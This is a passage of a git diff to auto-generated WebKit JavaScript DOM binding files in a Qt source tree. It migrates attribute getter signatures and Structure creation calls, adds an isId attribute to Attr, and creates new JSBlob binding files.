 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -46,7 +45,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     virtual void markChildren(JSC::MarkStack&);
@@ -77,7 +76,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSAbstractWorkerPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -91,9 +90,9 @@ JSC::JSValue JSC_HOST_CALL jsAbstractWorkerPrototypeFunctionRemoveEventListener(
 JSC::JSValue JSC_HOST_CALL jsAbstractWorkerPrototypeFunctionDispatchEvent(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsAbstractWorkerOnerror(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsAbstractWorkerOnerror(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSAbstractWorkerOnerror(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsAbstractWorkerConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsAbstractWorkerConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSAttr.cpp b/src/3rdparty/webkit/WebCore/generated/JSAttr.cpp
index 89cfed1..2f48404 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSAttr.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSAttr.cpp
@@ -38,14 +38,15 @@ ASSERT_CLASS_FITS_IN_CELL(JSAttr);
 
 /* Hash table */
 
-static const HashTableValue JSAttrTableValues[7] =
-{
-    { "name", DontDelete|ReadOnly, (intptr_t)jsAttrName, (intptr_t)0 },
-    { "specified", DontDelete|ReadOnly, (intptr_t)jsAttrSpecified, (intptr_t)0 },
-    { "value", DontDelete, (intptr_t)jsAttrValue, (intptr_t)setJSAttrValue },
-    { "ownerElement", DontDelete|ReadOnly, (intptr_t)jsAttrOwnerElement, (intptr_t)0 },
-    { "style", DontDelete|ReadOnly, (intptr_t)jsAttrStyle, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsAttrConstructor, (intptr_t)0 },
+static const HashTableValue JSAttrTableValues[8] =
+{
+    { "name", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsAttrName), (intptr_t)0 },
+    { "specified", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsAttrSpecified), (intptr_t)0 },
+    { "value", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsAttrValue), (intptr_t)setJSAttrValue },
+    { "ownerElement", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsAttrOwnerElement), (intptr_t)0 },
+    { "isId", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsAttrIsId), (intptr_t)0 },
+    { "style", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsAttrStyle), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsAttrConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -84,7 +85,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -146,49 +147,63 @@ bool JSAttr::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propert
     return getStaticValueDescriptor<JSAttr, Base>(exec, &JSAttrTable, this, propertyName, descriptor);
 }
 
-JSValue jsAttrName(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsAttrName(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSAttr* castedThis = static_cast<JSAttr*>(asObject(slot.slotBase()));
+    JSAttr* castedThis = static_cast<JSAttr*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Attr* imp = static_cast<Attr*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->name());
+    JSValue result = jsStringOrNull(exec, imp->name());
+    return result;
 }
 
-JSValue jsAttrSpecified(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsAttrSpecified(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSAttr* castedThis = static_cast<JSAttr*>(asObject(slot.slotBase()));
+    JSAttr* castedThis = static_cast<JSAttr*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Attr* imp = static_cast<Attr*>(castedThis->impl());
-    return jsBoolean(imp->specified());
+    JSValue result = jsBoolean(imp->specified());
+    return result;
 }
 
-JSValue jsAttrValue(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsAttrValue(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSAttr* castedThis = static_cast<JSAttr*>(asObject(slot.slotBase()));
+    JSAttr* castedThis = static_cast<JSAttr*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Attr* imp = static_cast<Attr*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->value());
+    JSValue result = jsStringOrNull(exec, imp->value());
+    return result;
 }
 
-JSValue jsAttrOwnerElement(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsAttrOwnerElement(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSAttr* castedThis = static_cast<JSAttr*>(asObject(slot.slotBase()));
+    JSAttr* castedThis = static_cast<JSAttr*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Attr* imp = static_cast<Attr*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->ownerElement()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->ownerElement()));
+    return result;
 }
 
-JSValue jsAttrStyle(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsAttrIsId(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSAttr* castedThis = static_cast<JSAttr*>(asObject(slot.slotBase()));
+    JSAttr* castedThis = static_cast<JSAttr*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Attr* imp = static_cast<Attr*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->style()));
+    JSValue result = jsBoolean(imp->isId());
+    return result;
 }
 
-JSValue jsAttrConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsAttrStyle(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSAttr* domObject = static_cast<JSAttr*>(asObject(slot.slotBase()));
+    JSAttr* castedThis = static_cast<JSAttr*>(asObject(slotBase));
+    UNUSED_PARAM(exec);
+    Attr* imp = static_cast<Attr*>(castedThis->impl());
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->style()));
+    return result;
+}
+
+JSValue jsAttrConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSAttr* domObject = static_cast<JSAttr*>(asObject(slotBase));
     return JSAttr::getConstructor(exec, domObject->globalObject());
 }
 void JSAttr::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSAttr.h b/src/3rdparty/webkit/WebCore/generated/JSAttr.h
index 1562011..ef556d9 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSAttr.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSAttr.h
@@ -41,7 +41,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     virtual void markChildren(JSC::MarkStack&);
@@ -68,7 +68,7 @@ public:
     static const JSC::ClassInfo s_info;
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSAttrPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -77,13 +77,14 @@ protected:
 
 // Attributes
 
-JSC::JSValue jsAttrName(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsAttrSpecified(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsAttrValue(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsAttrName(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsAttrSpecified(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsAttrValue(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSAttrValue(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsAttrOwnerElement(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsAttrStyle(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsAttrConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsAttrOwnerElement(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsAttrIsId(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsAttrStyle(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsAttrConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSBarInfo.cpp b/src/3rdparty/webkit/WebCore/generated/JSBarInfo.cpp
index 348c086..8b383b6 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSBarInfo.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSBarInfo.cpp
@@ -34,7 +34,7 @@ ASSERT_CLASS_FITS_IN_CELL(JSBarInfo);
 
 static const HashTableValue JSBarInfoTableValues[2] =
 {
-    { "visible", DontDelete|ReadOnly, (intptr_t)jsBarInfoVisible, (intptr_t)0 },
+    { "visible", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsBarInfoVisible), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -94,12 +94,13 @@ bool JSBarInfo::getOwnPropertyDescriptor(ExecState* exec, const Identifier& prop
     return getStaticValueDescriptor<JSBarInfo, Base>(exec, &JSBarInfoTable, this, propertyName, descriptor);
 }
 
-JSValue jsBarInfoVisible(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsBarInfoVisible(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSBarInfo* castedThis = static_cast<JSBarInfo*>(asObject(slot.slotBase()));
+    JSBarInfo* castedThis = static_cast<JSBarInfo*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     BarInfo* imp = static_cast<BarInfo*>(castedThis->impl());
-    return jsBoolean(imp->visible());
+    JSValue result = jsBoolean(imp->visible());
+    return result;
 }
 
 JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, BarInfo* object)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSBarInfo.h b/src/3rdparty/webkit/WebCore/generated/JSBarInfo.h
index 9c389a1..5e5cd76 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSBarInfo.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSBarInfo.h
@@ -21,7 +21,6 @@
 #ifndef JSBarInfo_h
 #define JSBarInfo_h
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -43,7 +42,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     BarInfo* impl() const { return m_impl.get(); }
@@ -65,7 +64,7 @@ public:
     static const JSC::ClassInfo s_info;
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSBarInfoPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -74,7 +73,7 @@ protected:
 
 // Attributes
 
-JSC::JSValue jsBarInfoVisible(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsBarInfoVisible(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSBeforeLoadEvent.cpp b/src/3rdparty/webkit/WebCore/generated/JSBeforeLoadEvent.cpp
index a7ec577..743d55d 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSBeforeLoadEvent.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSBeforeLoadEvent.cpp
@@ -37,8 +37,8 @@ ASSERT_CLASS_FITS_IN_CELL(JSBeforeLoadEvent);
 
 static const HashTableValue JSBeforeLoadEventTableValues[3] =
 {
-    { "url", DontDelete|ReadOnly, (intptr_t)jsBeforeLoadEventUrl, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsBeforeLoadEventConstructor, (intptr_t)0 },
+    { "url", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsBeforeLoadEventUrl), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsBeforeLoadEventConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -77,7 +77,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -100,7 +100,7 @@ bool JSBeforeLoadEventConstructor::getOwnPropertyDescriptor(ExecState* exec, con
 
 static const HashTableValue JSBeforeLoadEventPrototypeTableValues[2] =
 {
-    { "initBeforeLoadEvent", DontDelete|Function, (intptr_t)jsBeforeLoadEventPrototypeFunctionInitBeforeLoadEvent, (intptr_t)4 },
+    { "initBeforeLoadEvent", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsBeforeLoadEventPrototypeFunctionInitBeforeLoadEvent), (intptr_t)4 },
     { 0, 0, 0, 0 }
 };
 
@@ -150,17 +150,18 @@ bool JSBeforeLoadEvent::getOwnPropertyDescriptor(ExecState* exec, const Identifi
     return getStaticValueDescriptor<JSBeforeLoadEvent, Base>(exec, &JSBeforeLoadEventTable, this, propertyName, descriptor);
 }
 
-JSValue jsBeforeLoadEventUrl(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsBeforeLoadEventUrl(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSBeforeLoadEvent* castedThis = static_cast<JSBeforeLoadEvent*>(asObject(slot.slotBase()));
+    JSBeforeLoadEvent* castedThis = static_cast<JSBeforeLoadEvent*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     BeforeLoadEvent* imp = static_cast<BeforeLoadEvent*>(castedThis->impl());
-    return jsString(exec, imp->url());
+    JSValue result = jsString(exec, imp->url());
+    return result;
 }
 
-JSValue jsBeforeLoadEventConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsBeforeLoadEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSBeforeLoadEvent* domObject = static_cast<JSBeforeLoadEvent*>(asObject(slot.slotBase()));
+    JSBeforeLoadEvent* domObject = static_cast<JSBeforeLoadEvent*>(asObject(slotBase));
     return JSBeforeLoadEvent::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSBeforeLoadEvent::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSBeforeLoadEvent.h b/src/3rdparty/webkit/WebCore/generated/JSBeforeLoadEvent.h
index e575192..aa71a61 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSBeforeLoadEvent.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSBeforeLoadEvent.h
@@ -39,7 +39,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -58,7 +58,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSBeforeLoadEventPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -70,8 +70,8 @@ protected:
 JSC::JSValue JSC_HOST_CALL jsBeforeLoadEventPrototypeFunctionInitBeforeLoadEvent(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsBeforeLoadEventUrl(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsBeforeLoadEventConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsBeforeLoadEventUrl(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsBeforeLoadEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSBlob.cpp b/src/3rdparty/webkit/WebCore/generated/JSBlob.cpp
new file mode 100644
index 0000000..9843d8f
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/generated/JSBlob.cpp
@@ -0,0 +1,174 @@
+/*
+    This file is part of the WebKit open source project.
+    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#include "config.h"
+#include "JSBlob.h"
+
+#include "Blob.h"
+#include <runtime/JSNumberCell.h>
+#include <wtf/GetPtr.h>
+
+using namespace JSC;
+
+namespace WebCore {
+
+ASSERT_CLASS_FITS_IN_CELL(JSBlob);
+
+/* Hash table */
+
+static const HashTableValue JSBlobTableValues[3] =
+{
+    { "size", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsBlobSize), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsBlobConstructor), (intptr_t)0 },
+    { 0, 0, 0, 0 }
+};
+
+static JSC_CONST_HASHTABLE HashTable JSBlobTable =
+#if ENABLE(PERFECT_HASH_SIZE)
+    { 1, JSBlobTableValues, 0 };
+#else
+    { 4, 3, JSBlobTableValues, 0 };
+#endif
+
+/* Hash table for constructor */
+
+static const HashTableValue JSBlobConstructorTableValues[1] =
+{
+    { 0, 0, 0, 0 }
+};
+
+static JSC_CONST_HASHTABLE HashTable JSBlobConstructorTable =
+#if ENABLE(PERFECT_HASH_SIZE)
+    { 0, JSBlobConstructorTableValues, 0 };
+#else
+    { 1, 0, JSBlobConstructorTableValues, 0 };
+#endif
+
+class JSBlobConstructor : public DOMConstructorObject {
+public:
+    JSBlobConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
+        : DOMConstructorObject(JSBlobConstructor::createStructure(globalObject->objectPrototype()), globalObject)
+    {
+        putDirect(exec->propertyNames().prototype, JSBlobPrototype::self(exec, globalObject), None);
+    }
+    virtual bool getOwnPropertySlot(ExecState*, const Identifier&, PropertySlot&);
+    virtual bool getOwnPropertyDescriptor(ExecState*, const Identifier&, PropertyDescriptor&);
+    virtual const ClassInfo* classInfo() const { return &s_info; }
+    static const ClassInfo s_info;
+
+    static PassRefPtr<Structure> createStructure(JSValue proto) 
+    { 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
+    }
+    
+protected:
+    static const unsigned StructureFlags = OverridesGetOwnPropertySlot | ImplementsHasInstance | DOMConstructorObject::StructureFlags;
+};
+
+const ClassInfo JSBlobConstructor::s_info = { "BlobConstructor", 0, &JSBlobConstructorTable, 0 };
+
+bool JSBlobConstructor::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
+{
+    return getStaticValueSlot<JSBlobConstructor, DOMObject>(exec, &JSBlobConstructorTable, this, propertyName, slot);
+}
+
+bool JSBlobConstructor::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
+{
+    return getStaticValueDescriptor<JSBlobConstructor, DOMObject>(exec, &JSBlobConstructorTable, this, propertyName, descriptor);
+}
+
+/* Hash table for prototype */
+
+static const HashTableValue JSBlobPrototypeTableValues[1] =
+{
+    { 0, 0, 0, 0 }
+};
+
+static JSC_CONST_HASHTABLE HashTable JSBlobPrototypeTable =
+#if ENABLE(PERFECT_HASH_SIZE)
+    { 0, JSBlobPrototypeTableValues, 0 };
+#else
+    { 1, 0, JSBlobPrototypeTableValues, 0 };
+#endif
+
+const ClassInfo JSBlobPrototype::s_info = { "BlobPrototype", 0, &JSBlobPrototypeTable, 0 };
+
+JSObject* JSBlobPrototype::self(ExecState* exec, JSGlobalObject* globalObject)
+{
+    return getDOMPrototype<JSBlob>(exec, globalObject);
+}
+
+const ClassInfo JSBlob::s_info = { "Blob", 0, &JSBlobTable, 0 };
+
+JSBlob::JSBlob(NonNullPassRefPtr<Structure> structure, JSDOMGlobalObject* globalObject, PassRefPtr<Blob> impl)
+    : DOMObjectWithGlobalPointer(structure, globalObject)
+    , m_impl(impl)
+{
+}
+
+JSBlob::~JSBlob()
+{
+    forgetDOMObject(this, impl());
+}
+
+JSObject* JSBlob::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
+{
+    return new (exec) JSBlobPrototype(JSBlobPrototype::createStructure(globalObject->objectPrototype()));
+}
+
+bool JSBlob::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
+{
+    return getStaticValueSlot<JSBlob, Base>(exec, &JSBlobTable, this, propertyName, slot);
+}
+
+bool JSBlob::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
+{
+    return getStaticValueDescriptor<JSBlob, Base>(exec, &JSBlobTable, this, propertyName, descriptor);
+}
+
+JSValue jsBlobSize(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSBlob* castedThis = static_cast<JSBlob*>(asObject(slotBase));
+    UNUSED_PARAM(exec);
+    Blob* imp = static_cast<Blob*>(castedThis->impl());
+    JSValue result = jsNumber(exec, imp->size());
+    return result;
+}
+
+JSValue jsBlobConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSBlob* domObject = static_cast<JSBlob*>(asObject(slotBase));
+    return JSBlob::getConstructor(exec, domObject->globalObject());
+}
+JSValue JSBlob::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
+{
+    return getDOMConstructor<JSBlobConstructor>(exec, static_cast<JSDOMGlobalObject*>(globalObject));
+}
+
+JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, Blob* object)
+{
+    return getDOMObjectWrapper<JSBlob>(exec, globalObject, object);
+}
+Blob* toBlob(JSC::JSValue value)
+{
+    return value.inherits(&JSBlob::s_info) ? static_cast<JSBlob*>(asObject(value))->impl() : 0;
+}
+
+}
diff --git a/src/3rdparty/webkit/WebCore/generated/JSBlob.h b/src/3rdparty/webkit/WebCore/generated/JSBlob.h
new file mode 100644
index 0000000..1bb0f2c
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/generated/JSBlob.h
@@ -0,0 +1,82 @@
+/*
+    This file is part of the WebKit open source project.
+    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#ifndef JSBlob_h
+#define JSBlob_h
+
+#include "JSDOMBinding.h"
+#include <runtime/JSGlobalObject.h>
+#include <runtime/ObjectPrototype.h>
+
+namespace WebCore {
+
+class Blob;
+
+class JSBlob : public DOMObjectWithGlobalPointer {
+    typedef DOMObjectWithGlobalPointer Base;
+public:
+    JSBlob(NonNullPassRefPtr<JSC::Structure>, JSDOMGlobalObject*, PassRefPtr<Blob>);
+    virtual ~JSBlob();
+    static JSC::JSObject* createPrototype(JSC::ExecState*, JSC::JSGlobalObject*);
+    virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertySlot&);
+    virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertyDescriptor&);
+    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
+    static const JSC::ClassInfo s_info;
+
+    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
+    {
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
+    }
+
+    static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
+    Blob* impl() const { return m_impl.get(); }
+
+private:
+    RefPtr<Blob> m_impl;
+protected:
+    static const unsigned StructureFlags = JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
+};
+
+JSC::JSValue toJS(JSC::ExecState*, JSDOMGlobalObject*, Blob*);
+Blob* toBlob(JSC::JSValue);
+
+class JSBlobPrototype : public JSC::JSObject {
+    typedef JSC::JSObject Base;
+public:
+    static JSC::JSObject* self(JSC::ExecState*, JSC::JSGlobalObject*);
+    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
+    static const JSC::ClassInfo s_info;
+    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
+    {
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
+    }
+    JSBlobPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
+protected:
+    static const unsigned StructureFlags = Base::StructureFlags;
+};
+
+// Attributes
+
+JSC::JSValue jsBlobSize(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsBlobConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+
+} // namespace WebCore
+
+#endif
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCDATASection.cpp b/src/3rdparty/webkit/WebCore/generated/JSCDATASection.cpp
index bdc4a93..798c558 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCDATASection.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCDATASection.cpp
@@ -34,7 +34,7 @@ ASSERT_CLASS_FITS_IN_CELL(JSCDATASection);
 
 static const HashTableValue JSCDATASectionTableValues[2] =
 {
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCDATASectionConstructor, (intptr_t)0 },
